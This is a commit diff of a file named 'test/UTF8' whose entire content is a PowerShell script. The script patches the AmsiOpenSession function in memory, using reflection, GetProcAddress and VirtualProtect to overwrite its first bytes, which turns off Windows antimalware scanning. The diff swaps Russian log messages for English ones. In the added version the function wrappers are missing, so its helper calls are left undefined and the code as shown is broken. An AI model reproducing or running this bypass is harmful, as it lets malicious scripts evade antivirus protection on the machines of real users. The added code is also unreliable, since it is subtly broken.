Update test/UTF8

test/UTF8

@@ -1,7 +1,31 @@
-[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
-
-function l{Param($m,$f)Write-Host "[l] Начало выполнения функции" -ForegroundColor Green;Write-Host "[l] Параметры:ModuleName=$m,FunctionName=$f" -ForegroundColor Cyan;$a=([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache-and$_.Location.Split('\\')[-1]-eq'System.dll'}).GetType('Microsoft.Win32.UnsafeNativeMethods');Write-Host "[l] Получена сборка: $($a.Assembly.FullName)" -ForegroundColor Green;$t=@();$a.GetMethods()|%{if($_.Name-eq'GetProcAddress'){$t+=$_;Write-Host "[l] Найден метод GetProcAddress" -ForegroundColor Green}};Write-Host "[l] Возврат результата" -ForegroundColor Green;$t[0].Invoke($null,@(($a.GetMethod('GetModuleHandle')).Invoke($null,@($m)),$f))}
-
-function g{Param([Type[]]$f,[Type]$d=[Void])Write-Host "[g] Начало выполнения функции" -ForegroundColor Green;Write-Host "[g] Параметры:Func=$f,DelType=$d" -ForegroundColor Cyan;$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',$false).DefineType('MDT','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]);Write-Host "[g] Создан тип делегата: $t" -ForegroundColor Green;$t.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$f).SetImplementationFlags('Runtime, Managed');$t.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$d,$f).SetImplementationFlags('Runtime, Managed');Write-Host "[g] Возврат созданного типа" -ForegroundColor Green;$t.CreateType()}
-
-Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow;$a=l amsi.dll AmsiOpenSession;Write-Host "[Main] Получен адрес AmsiOpenSession: $a" -ForegroundColor Green;$o=0;$v=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType())([Bool])));Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green;$v.Invoke($a,3,0x40,[ref]$o);Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green;[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,$a,3);Write-Host "[Main] Записаны байты в память" -ForegroundColor Green;$v.Invoke($a,3,0x20,[ref]$o);Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green;Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow
+ Param($m,$f)
+    Write-Host "[l] Function execution started" -ForegroundColor Green
+    Write-Host "[l] Parameters: ModuleName=$m, FunctionName=$f" -ForegroundColor Cyan
+    $a=([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1] -eq 'System.dll'}).GetType('Microsoft.Win32.UnsafeNativeMethods')
+    Write-Host "[l] Assembly obtained: $($a.Assembly.FullName)" -ForegroundColor Green
+    $t=@()
+    $a.GetMethods()|%{if($_.Name -eq 'GetProcAddress'){$t+=$_;Write-Host "[l] GetProcAddress method found" -ForegroundColor Green}}
+    Write-Host "[l] Returning result" -ForegroundColor Green
+    $t[0].Invoke($null,@(($a.GetMethod('GetModuleHandle')).Invoke($null,@($m)),$f))
+Param([Type[]]$f,[Type]$d=[Void])
+    Write-Host "[g] Function execution started" -ForegroundColor Green
+    Write-Host "[g] Parameters: Func=$f, DelType=$d" -ForegroundColor Cyan
+    $t=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',$false).DefineType('MDT','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
+    Write-Host "[g] Delegate type created: $t" -ForegroundColor Green
+    $t.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$f).SetImplementationFlags('Runtime, Managed')
+    $t.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$d,$f).SetImplementationFlags('Runtime, Managed')
+    Write-Host "[g] Returning created type" -ForegroundColor Green
+    $t.CreateType()
+Write-Host "[Main] Main code execution started" -ForegroundColor Yellow
+$a=l amsi.dll AmsiOpenSession
+Write-Host "[Main] AmsiOpenSession address obtained: $a" -ForegroundColor Green
+$o=0
+$v=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType()) ([Bool])))
+Write-Host "[Main] Delegate for VirtualProtect created" -ForegroundColor Green
+$v.Invoke($a,3,0x40,[ref]$o)
+Write-Host "[Main] Memory access rights changed" -ForegroundColor Green
+[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,$a,3)
+Write-Host "[Main] Bytes written to memory" -ForegroundColor Green
+$v.Invoke($a,3,0x20,[ref]$o)
+Write-Host "[Main] Original memory access rights restored" -ForegroundColor Green
+Write-Host "[Main] Execution completed" -ForegroundColor Yellow